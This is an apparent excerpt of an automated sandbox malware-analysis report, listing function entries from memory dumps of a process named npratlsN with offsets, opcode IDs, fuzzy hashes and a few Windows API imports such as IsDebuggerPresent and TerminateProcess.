                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3473791553.000000002E5C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2E5C0000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2e5c0000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID:
                                                                                                                                                          • Opcode ID: 900fc5a6806b3c241a2f5a072007ca56792acb7e81617dee7e7e2f8565b87361
                                                                                                                                                          • Instruction ID: e748b1eb1ab8c0ee5419cfc393f68ff2f8505721bc1c87f5bca4b07359e2dec2
                                                                                                                                                          • Opcode Fuzzy Hash: 900fc5a6806b3c241a2f5a072007ca56792acb7e81617dee7e7e2f8565b87361
                                                                                                                                                          • Instruction Fuzzy Hash: E5212C70E002099FDB04DFB9C980A9EBBF2FB45304F10E579D015AB355EB749A46CB91
                                                                                                                                                          Function 2989D65F Relevance: .1, Instructions: 56COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3460350511.000000002989D000.00000040.00000800.00020000.00000000.sdmp, Offset: 2989D000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2989d000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID:
                                                                                                                                                          • Opcode ID: db79b5eb69be54bde6d22b58705b80061de706f1e28455fb2d9027648eeca995
                                                                                                                                                          • Instruction ID: cb1862f85c029c7325aaad579b3ce3096ce4452ce3a2e26869e709ec1d6f1148
                                                                                                                                                          • Opcode Fuzzy Hash: db79b5eb69be54bde6d22b58705b80061de706f1e28455fb2d9027648eeca995
                                                                                                                                                          • Instruction Fuzzy Hash: C9119D76504280DFDB06CF10D9C4B06BF62FB94214F28C6AAE9094A656C336E55ACBA1
                                                                                                                                                          Function 2F696E79 Relevance: .1, Instructions: 54COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3474836989.000000002F690000.00000040.00000800.00020000.00000000.sdmp, Offset: 2F690000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2f690000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID:
                                                                                                                                                          • Opcode ID: d62496c3d0d7c721ce4f5d4bbc7af80a6e3eba3032f0d65253105b25119d943f
                                                                                                                                                          • Instruction ID: 3cdbe7f4313d2c3a7216eb2f79c0935ce608d6991b8098dc1492ce969dac9093
                                                                                                                                                          • Opcode Fuzzy Hash: d62496c3d0d7c721ce4f5d4bbc7af80a6e3eba3032f0d65253105b25119d943f
                                                                                                                                                          • Instruction Fuzzy Hash: 2711FA74E042588FDB14DFB8D950B9EBBB2EB48315F00A465E908EB349EB319A418F51
                                                                                                                                                          Function 2E5C4D10 Relevance: .1, Instructions: 53COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3473791553.000000002E5C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2E5C0000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2e5c0000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID:
                                                                                                                                                          • Opcode ID: cc34425dc8f751c74a592cd72a6ca193557a71fe6e6351d0bf250b2f0d4b9300
                                                                                                                                                          • Instruction ID: a984464cb265549c9e022e41ae2e8cad55644c143b4c0a007f041f91cd752122
                                                                                                                                                          • Opcode Fuzzy Hash: cc34425dc8f751c74a592cd72a6ca193557a71fe6e6351d0bf250b2f0d4b9300
                                                                                                                                                          • Instruction Fuzzy Hash: 4601D8317146146FCF059E999C20EAF3FEBDFD9650B14842AF515DF291CA35DC0287A0
                                                                                                                                                          Function 298AD03F Relevance: .1, Instructions: 53COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3460508523.00000000298AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 298AD000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_298ad000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID:
                                                                                                                                                          • Opcode ID: 021c8d7180bca40b1b4a0da321e6e5f783d7625571517dbbd39f1422581fcb41
                                                                                                                                                          • Instruction ID: 2e6da626d9e8ec1bd455102f0e6470381934e9391d32adcc37658b205b245751
                                                                                                                                                          • Opcode Fuzzy Hash: 021c8d7180bca40b1b4a0da321e6e5f783d7625571517dbbd39f1422581fcb41
                                                                                                                                                          • Instruction Fuzzy Hash: 2A117975504284DFDB05CF10D9C4B06BBA2FB98214F28C6AEE8498B656D73AD44ACB62
                                                                                                                                                          Function 2F75DF60 Relevance: .1, Instructions: 53COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3475191781.000000002F750000.00000040.00000800.00020000.00000000.sdmp, Offset: 2F750000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2f750000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID:
                                                                                                                                                          • Opcode ID: 7e70799a6745c4846cdfa3f0864a6cfa7755cff28c9bd45989dc8f1f0b08b570
                                                                                                                                                          • Instruction ID: b99e8096230abaa70737f2ed38e7e16157060816ace8f9e894a13e250a8e4405
                                                                                                                                                          • Opcode Fuzzy Hash: 7e70799a6745c4846cdfa3f0864a6cfa7755cff28c9bd45989dc8f1f0b08b570
                                                                                                                                                          • Instruction Fuzzy Hash: 1611A972A042228FC764DF78D908A8A3BF5AF49621B000564E81ADB351EA30E902CB92
                                                                                                                                                          Function 2E5C1B09 Relevance: .1, Instructions: 52COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3473791553.000000002E5C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2E5C0000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2e5c0000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID:
                                                                                                                                                          • Opcode ID: 45ffb6e7abd2eef48ae1b3a1e4c352fdd1c572078e3659a2688b3dc7cbbfc8e2
                                                                                                                                                          • Instruction ID: 6593a9745986b0a0ab024ddfe8a8cbf584e7a5743f2908a0d76c6c4c81e41299
                                                                                                                                                          • Opcode Fuzzy Hash: 45ffb6e7abd2eef48ae1b3a1e4c352fdd1c572078e3659a2688b3dc7cbbfc8e2
                                                                                                                                                          • Instruction Fuzzy Hash: B1115775D1021E8BCB01DFA8DD408EEBBB5FF59214F105266D818B3210EB30AA56CBA2
                                                                                                                                                          Function 2E5CD3F1 Relevance: .0, Instructions: 49COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3473791553.000000002E5C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2E5C0000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2e5c0000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID:
                                                                                                                                                          • Opcode ID: dc8af172bcbd45e6de5f7bac1713f099a1fb3dddc6e87014c6fc23e91ce262a7
                                                                                                                                                          • Instruction ID: 3c8f2da1e0a85d721adf7b05031620ab2223f9b2e347f6f343fe8505a137d0c4
                                                                                                                                                          • Opcode Fuzzy Hash: dc8af172bcbd45e6de5f7bac1713f099a1fb3dddc6e87014c6fc23e91ce262a7
                                                                                                                                                          • Instruction Fuzzy Hash: A5118E74E00249AFDB02DFA8C8459AEBBF1FF4A304F10846ADA14B7351D7795A12CF92
                                                                                                                                                          Function 2E5C9A60 Relevance: .0, Instructions: 45COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3473791553.000000002E5C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2E5C0000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2e5c0000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID:
                                                                                                                                                          • Opcode ID: 4d286cb18a6b9f9a751da8fee5ed527aa913a40ee204a2d5177ad012029b73f1
                                                                                                                                                          • Instruction ID: 1f35f4352427e2e74e54069f3f7d4fabacf582096b12faca272be52f661f4f67
                                                                                                                                                          • Opcode Fuzzy Hash: 4d286cb18a6b9f9a751da8fee5ed527aa913a40ee204a2d5177ad012029b73f1
                                                                                                                                                          • Instruction Fuzzy Hash: 31F0C8323286514F830656AE4C3473A7BDAEFD655035964AAE908CF356EE25DC0683D1
                                                                                                                                                          Function 2989D01D Relevance: .0, Instructions: 45COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3460350511.000000002989D000.00000040.00000800.00020000.00000000.sdmp, Offset: 2989D000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2989d000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID:
                                                                                                                                                          • Opcode ID: 51d236e64ca9839c31d5e4bbef2cd29006c4c97a0977ec4064022bef0e572c0b
                                                                                                                                                          • Instruction ID: b3a5bc3c5098fe282280d7a197ed58ed2137cfa898f42b12fb6ba7bb355158f3
                                                                                                                                                          • Opcode Fuzzy Hash: 51d236e64ca9839c31d5e4bbef2cd29006c4c97a0977ec4064022bef0e572c0b
                                                                                                                                                          • Instruction Fuzzy Hash: FD01DF71008344DAF3008B2ACD80B57BFD8EF51364F0CC52EFD088B286E279A942C6B5
                                                                                                                                                          Function 2E5C9A70 Relevance: .0, Instructions: 44COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3473791553.000000002E5C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2E5C0000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2e5c0000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID:
                                                                                                                                                          • Opcode ID: a103239752fe4dfe394cfec9107c31b85217a1bef7f9980d0a821e5e987d8f3b
                                                                                                                                                          • Instruction ID: 66d607e30ba09329df943b1ce59b31ded167317102811a6366dc6d720269b0bf
                                                                                                                                                          • Opcode Fuzzy Hash: a103239752fe4dfe394cfec9107c31b85217a1bef7f9980d0a821e5e987d8f3b
                                                                                                                                                          • Instruction Fuzzy Hash: 93F090313205104F87055AAE8C74B7A77DEEFDAA91319A0BAEA09CB365DE61DC03C7D0
                                                                                                                                                          Function 2F75DA10 Relevance: .0, Instructions: 38COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3475191781.000000002F750000.00000040.00000800.00020000.00000000.sdmp, Offset: 2F750000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2f750000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID:
                                                                                                                                                          • Opcode ID: 59279c0aad13a20b86e7a22d1470057b9bf76039bdf9e0e37ec586ab41826e80
                                                                                                                                                          • Instruction ID: 75aafb7458319e1eacf39ed2e701ee36bd8af05a82aad3685bf1fe7c9dfa78a5
                                                                                                                                                          • Opcode Fuzzy Hash: 59279c0aad13a20b86e7a22d1470057b9bf76039bdf9e0e37ec586ab41826e80
                                                                                                                                                          • Instruction Fuzzy Hash: 76F0B43171C1408FD7048BB9D958D967BB5FFC9A11B1140AAF80BCB262DA75DD01C790
                                                                                                                                                          Function 2F75DED8 Relevance: .0, Instructions: 37COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3475191781.000000002F750000.00000040.00000800.00020000.00000000.sdmp, Offset: 2F750000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2f750000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID:
                                                                                                                                                          • Opcode ID: e94a0852b5ffc60f25374bf5286ed17a519996b4573e956773f0624faa56f92d
                                                                                                                                                          • Instruction ID: a15be8b4f7ab1297780a8ff6fc2dca9bacb785b2461be661b978e69527b50ea7
                                                                                                                                                          • Opcode Fuzzy Hash: e94a0852b5ffc60f25374bf5286ed17a519996b4573e956773f0624faa56f92d
                                                                                                                                                          • Instruction Fuzzy Hash: 5001B670E052199FCF44DFB9C9046EEBBF5BF88201F50856AD929F7290E7389902CB95
                                                                                                                                                          Function 2989D01C Relevance: .0, Instructions: 36COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3460350511.000000002989D000.00000040.00000800.00020000.00000000.sdmp, Offset: 2989D000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2989d000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID:
                                                                                                                                                          • Opcode ID: eed9d9a0afed3347a525ad46d01d6b90effa75e59ae6b8d6fdf1fc589b8a8c6b
                                                                                                                                                          • Instruction ID: 25ad8a9b497857a8094517e7615055859e0697de17895ae0fbb510e0a9d4d88d
                                                                                                                                                          • Opcode Fuzzy Hash: eed9d9a0afed3347a525ad46d01d6b90effa75e59ae6b8d6fdf1fc589b8a8c6b
                                                                                                                                                          • Instruction Fuzzy Hash: 9DF0C271004340AEE7008B16CD84B52FFE8EF51224F18C55AED484F286C279A841CAB0
                                                                                                                                                          Function 2F697FB8 Relevance: .0, Instructions: 34COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3474836989.000000002F690000.00000040.00000800.00020000.00000000.sdmp, Offset: 2F690000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2f690000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID:
                                                                                                                                                          • Opcode ID: 3ef53251e997111e22e223cf9278725bb0903205a21efe0891a94a6ff149e8a0
                                                                                                                                                          • Instruction ID: b5986e146a2aec73d75a7592ffe47c43d8b4339c28ca86c7c1c31e891a598097
                                                                                                                                                          • Opcode Fuzzy Hash: 3ef53251e997111e22e223cf9278725bb0903205a21efe0891a94a6ff149e8a0
                                                                                                                                                          • Instruction Fuzzy Hash: 8301C9B4E0420DEFDB44DFA9C9409AEBBF5FB48300F10816A9818B3350EB745A41DF91
                                                                                                                                                          Function 2F75DA20 Relevance: .0, Instructions: 33COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3475191781.000000002F750000.00000040.00000800.00020000.00000000.sdmp, Offset: 2F750000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2f750000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID:
                                                                                                                                                          • Opcode ID: b650c4836341343a72878d5dbbcec2b808e5c8e2bfc084be36dabdd34b3e041e
                                                                                                                                                          • Instruction ID: a3c0f83d08897be9a5d010ee8e2a84abf31ead3fad42dea7b72f0b073ba61f06
                                                                                                                                                          • Opcode Fuzzy Hash: b650c4836341343a72878d5dbbcec2b808e5c8e2bfc084be36dabdd34b3e041e
                                                                                                                                                          • Instruction Fuzzy Hash: B6F08C363182048FD7089ABAC958E6A77AAEFC4A11B118069F906CB361DE70DC01C790
                                                                                                                                                          Function 2E5C55AF Relevance: .0, Instructions: 24COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3473791553.000000002E5C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2E5C0000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2e5c0000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID:
                                                                                                                                                          • Opcode ID: 930566cb7c98b74a601941ed94fddca5cf8ea01bbaa50ba3b508f72e3b233196
                                                                                                                                                          • Instruction ID: 35910d804f83096b80efc788fb0c47bc1dbf02fada04208b995b739992bf1f67
                                                                                                                                                          • Opcode Fuzzy Hash: 930566cb7c98b74a601941ed94fddca5cf8ea01bbaa50ba3b508f72e3b233196
                                                                                                                                                          • Instruction Fuzzy Hash: F4E0C23015E7840FC70B97AA8C646857F7ADEC2104304EAB2D041DF6ABDA6D5C8A8361
                                                                                                                                                          Function 2E5C1B18 Relevance: .0, Instructions: 19COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3473791553.000000002E5C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2E5C0000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2e5c0000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID:
                                                                                                                                                          • Opcode ID: c0cec69c760127e0dfb6d3c8bc005bc7bcac0b9126678c207dbd559f86ff0726
                                                                                                                                                          • Instruction ID: 38500f3bade9f6392afe9a83f925e0f025d31839c3fe1b8d4446b912d8b1d3f2
                                                                                                                                                          • Opcode Fuzzy Hash: c0cec69c760127e0dfb6d3c8bc005bc7bcac0b9126678c207dbd559f86ff0726
                                                                                                                                                          • Instruction Fuzzy Hash: 72D01231D2022A578B00AAA5DC044EEB738EE95665B504626D55437140EB70665986A2
                                                                                                                                                          Function 2E5C7D88 Relevance: .0, Instructions: 18COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3473791553.000000002E5C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2E5C0000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2e5c0000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID:
                                                                                                                                                          • Opcode ID: 4bdaacd32790817b91c477bf05988045433f614a4c8c6b26760f84615e577b64
                                                                                                                                                          • Instruction ID: f08dea5acedfa561bce8bbd5bc8e491b4c8118389f920c83ae5036f9f1718462
                                                                                                                                                          • Opcode Fuzzy Hash: 4bdaacd32790817b91c477bf05988045433f614a4c8c6b26760f84615e577b64
                                                                                                                                                          • Instruction Fuzzy Hash: 7EC08C3322D1282AA22410AF7C40EA3BBCCD3C13FAE250237F91CC360198439C8001F4
                                                                                                                                                          Function 2E5C9E3D Relevance: .0, Instructions: 16COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3473791553.000000002E5C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2E5C0000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2e5c0000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID:
                                                                                                                                                          • Opcode ID: caee86b8abae9bcd73f64882d4767a2e1e5c22d1958d16b66e51013d945bbf91
                                                                                                                                                          • Instruction ID: 7f9c07f74d39e3da47c979f4c046eec18e23ec08c914814e92ffe386dcaa7423
                                                                                                                                                          • Opcode Fuzzy Hash: caee86b8abae9bcd73f64882d4767a2e1e5c22d1958d16b66e51013d945bbf91
                                                                                                                                                          • Instruction Fuzzy Hash: 69D0673BB40018DFCB049F99E8408DDF7B6FB98221B148116E925E7261C631E926DB94
                                                                                                                                                          Function 2E5C55C0 Relevance: .0, Instructions: 12COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3473791553.000000002E5C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 2E5C0000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2e5c0000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID:
                                                                                                                                                          • Opcode ID: 4bab4100dea6a5a9783910ea0c3aef331660c06968f176f6e0335c64591cdf58
                                                                                                                                                          • Instruction ID: 902dee9813d557ad69b781aae52ce9ad6a3320c4aa3f6b6d0874ba8ec38b48ce
                                                                                                                                                          • Opcode Fuzzy Hash: 4bab4100dea6a5a9783910ea0c3aef331660c06968f176f6e0335c64591cdf58
                                                                                                                                                          • Instruction Fuzzy Hash: 67C012301842084EC909E769D94595AB73EE7C0208740E530A0068B76DDF78A88A4694
                                                                                                                                                          Function 2F75D9FB Relevance: .0, Instructions: 6COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3475191781.000000002F750000.00000040.00000800.00020000.00000000.sdmp, Offset: 2F750000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2f750000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID:
                                                                                                                                                          • Opcode ID: c368eb95e813c9b1fc3c11a67a470b5280d5f6a670918596673eee9ce0221c25
                                                                                                                                                          • Instruction ID: f8dc202be59c4016349bb7a40fb6635f532ad9e4eef020b7406f5bc99307c63b
                                                                                                                                                          • Opcode Fuzzy Hash: c368eb95e813c9b1fc3c11a67a470b5280d5f6a670918596673eee9ce0221c25
                                                                                                                                                          • Instruction Fuzzy Hash: D7B09234504000CFCF00DF30C689F043B61EB90300B198690A5198B25A872CA402CB90

                                                                                                                                                          Non-executed Functions

                                                                                                                                                          Function 0040CE09 Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          APIs
                                                                                                                                                          • IsDebuggerPresent.KERNEL32 ref: 004136F4
                                                                                                                                                          • SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00413709
                                                                                                                                                          • UnhandledExceptionFilter.KERNEL32(0041FB80), ref: 00413714
                                                                                                                                                          • GetCurrentProcess.KERNEL32(C0000409), ref: 00413730
                                                                                                                                                          • TerminateProcess.KERNEL32(00000000), ref: 00413737
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3432275183.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                          • Associated: 0000000A.00000002.3432275183.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 0000000A.00000002.3432275183.000000000043F000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_400000_npratlsN.jbxd
                                                                                                                                                          Yara matches
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID: 2579439406-0
                                                                                                                                                          • Opcode ID: 8d1f5aed7c5dfd20079dd4d946f02ab3c4db913f1b194ab0176bc05653236347
                                                                                                                                                          • Instruction ID: 93bf0ba95bc2a0faef8203f21c221f33afe887fd41373e09ae0fa508b254143b
                                                                                                                                                          • Opcode Fuzzy Hash: 8d1f5aed7c5dfd20079dd4d946f02ab3c4db913f1b194ab0176bc05653236347
                                                                                                                                                          • Instruction Fuzzy Hash: A521C3B4601204EFD720DF65E94A6457FB4FB08356F80407AE50887772E7B86682CF4D
                                                                                                                                                          Function 0040ADB0 Relevance: 2.5, APIs: 2, Instructions: 23memoryCOMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          APIs
                                                                                                                                                          • GetProcessHeap.KERNEL32 ref: 0040ADD0
                                                                                                                                                          • HeapFree.KERNEL32(00000000,00000000,00000000), ref: 0040ADE1
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3432275183.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                          • Associated: 0000000A.00000002.3432275183.0000000000426000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                          • Associated: 0000000A.00000002.3432275183.000000000043F000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_400000_npratlsN.jbxd
                                                                                                                                                          Yara matches
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID: Heap$FreeProcess
                                                                                                                                                          • String ID:
                                                                                                                                                          • API String ID: 3859560861-0
                                                                                                                                                          • Opcode ID: 97be969a41baf58eb72298c462d2c401217e5b830f10c891868ac5f2a1a85b43
                                                                                                                                                          • Instruction ID: 72dd180cd7110ee49b406fd12918c6a771032a3efea8c67e715e4993f3fed615
                                                                                                                                                          • Opcode Fuzzy Hash: 97be969a41baf58eb72298c462d2c401217e5b830f10c891868ac5f2a1a85b43
                                                                                                                                                          • Instruction Fuzzy Hash: 54E09A312003009FC320AB61DC08FA337AAEF88311F04C829E55A936A0DB78EC42CB58
                                                                                                                                                          Function 2F70E870 Relevance: 1.5, Strings: 1, Instructions: 292COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3474981544.000000002F700000.00000040.00000800.00020000.00000000.sdmp, Offset: 2F700000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2f700000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID: 8`[.
                                                                                                                                                          • API String ID: 0-3650440482
                                                                                                                                                          • Opcode ID: 133741347465910a982d96ed64810580e80ed90623d83cb03d3f944d36c44dfd
                                                                                                                                                          • Instruction ID: 33472138b642ea27b2d9aa9c9c404d9c766a00c88723162a66a1507e38b7daef
                                                                                                                                                          • Opcode Fuzzy Hash: 133741347465910a982d96ed64810580e80ed90623d83cb03d3f944d36c44dfd
                                                                                                                                                          • Instruction Fuzzy Hash: 71D1AD74E00218CFDB14DFA5C994B9DBBB2BF89304F2091A9D409AB3A4DB359E85CF54
                                                                                                                                                          Function 2F707A78 Relevance: 1.5, Strings: 1, Instructions: 292COMMON
                                                                                                                                                          Download Yara Rule
                                                                                                                                                          Strings
                                                                                                                                                          Memory Dump Source
                                                                                                                                                          • Source File: 0000000A.00000002.3474981544.000000002F700000.00000040.00000800.00020000.00000000.sdmp, Offset: 2F700000, based on PE: false
                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                          • Snapshot File: hcaresult_10_2_2f700000_npratlsN.jbxd
                                                                                                                                                          Similarity
                                                                                                                                                          • API ID:
                                                                                                                                                          • String ID: 8`[.
                                                                                                                                                          • API String ID: 0-3650440482
                                                                                                                                                          • Opcode ID: 16c5faf5a5fb5e9f3afbef4925f35c49d5d443f1775e40e156fbc266a7caabea
                                                                                                                                                          • Instruction ID: 1223f5a0fa56fcd7c6c7d48ea32316e2c4ac93f4261d2f69f9b3bdb7ec979fa0
